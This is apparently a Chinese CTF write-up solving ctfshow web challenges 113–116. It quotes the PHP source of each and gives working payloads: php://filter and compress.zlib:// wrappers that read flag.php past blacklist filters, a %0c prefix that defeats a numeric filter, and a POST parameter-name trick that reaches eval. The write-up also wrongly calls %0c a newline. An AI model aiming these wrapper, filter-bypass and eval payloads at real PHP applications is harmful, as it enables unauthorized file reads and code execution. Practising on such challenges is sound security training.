web113
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-30 23:47:52
*/
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
这道题目如果做不出来说明你文件包含那边学的不够好,可以看看我之前写的一篇文章,可以高效提升这方面的知识
这是几个月前的文章了,一五一十的把payload送到了嘴边,直接抄就好,其实就是一个最简单的压缩过滤器
?file=compress.zlib://flag.php
web114
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-01 15:02:53
*/
error_reporting(0);
highlight_file(__FILE__);
function filter($file){
if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
echo "师傅们居然tql都是非预期 哼!";
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
这道题目没有禁用filter,那就直接拿下了
payload:?file=php://filter/resource=flag.php
但是这里把convert搬了,那就不要转换器直接返璞归真
web115
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-01 15:08:19
*/
include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
$num=str_replace("0x","1",$num);
$num=str_replace("0","1",$num);
$num=str_replace(".","1",$num);
$num=str_replace("e","1",$num);
$num=str_replace("+","1",$num);
return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
if($num=='36'){
echo $flag;
}else{
echo "hacker!!";
}
}else{
echo "hacker!!!";
}
小科普:
在 PHP 中,trim()
函数是用于去除字符串开头和结尾的空白字符(包括空格、制表符、换行符等)的函数。它接受一个字符串作为参数,并返回去除空白字符后的新字符串。
trim()
函数的语法如下:
trim(string $str, string $characters = " \t\n\r\0\x0B"): string
$str
:要处理的字符串。$characters
(可选):指定要去除的字符集合,默认为空格、制表符、换行符、回车符等常见的空白字符。
示例使用:
$str = " Hello, World! "; $trimmedStr = trim($str); echo $trimmedStr; // 输出: "Hello, World!"
这个函数通常用于处理用户输入的字符串,以确保不会因为开头或结尾的空白字符而导致不必要的问题。
这里最主要有一个大漏洞,看到了就应该立刻反应过来了!
代码中存在一个漏洞,使用了一个不准确的数值过滤函数 filter()
。
在 filter()
函数中,使用了一系列的字符串替换操作来替换字符串中的特定字符。然而,这种过滤方式是不准确的,可以被绕过。
在输入 ?num=%0c36
的情况下,%0c
是回车换行符的 URL 编码形式。由于 filter()
函数中没有处理回车换行符的情况,因此替换操作不会影响回车换行符。
payload:?num=%0c36
web116
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
?>
这里开始小小审计一下代码
代码分析:
记住!!!!!
不管什么类型的PHP过滤题目,最最最重要的就一点,搞清楚我要干啥!搞清楚我要干啥!搞清楚我要干啥!重要的事说三遍!
根据代码逻辑,对于获取flag的条件,需要满足以下几个条件:
CTF_SHOW
必须存在CTF_SHOW.COM
必须存在fun
不能包含特殊字符fun
值必须小于等于 18$fl0g
必须等于 "flag_give_me"
如果看不出来这个,学再多技巧绕过也没有用,不过有没有人发现这里有坑点啊,$fl0g
必须等于 "flag_give_me"这里我根本就没有经过GET或者POST上传,所以这条语句没用的,没有flag输出那就在别的参数通过命令执行找flag
那么我就只能在c上面找flag
payload:
POST: CTF_SHOW=&CTF[SHOW.COM=1&fun=echo $flag
或者:CTF_SHOW=1&CTF[SHOW.COM=2&fun=echo $flag
解释:
由于PHP8.0以下如果第一次出现类似于“[”这样的非法符号,会将第一个非法符号转化为下划线,第二个不会转,所以这里是变量出了问题,所以改一下就好了。
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
我已经满足了两个if了,然后就拿到了执行eval的命令,那不直接eval flag等什么!还干什么傻傻看第三个if!!!
真诚地希望我的文章对大家有所帮助,谢谢!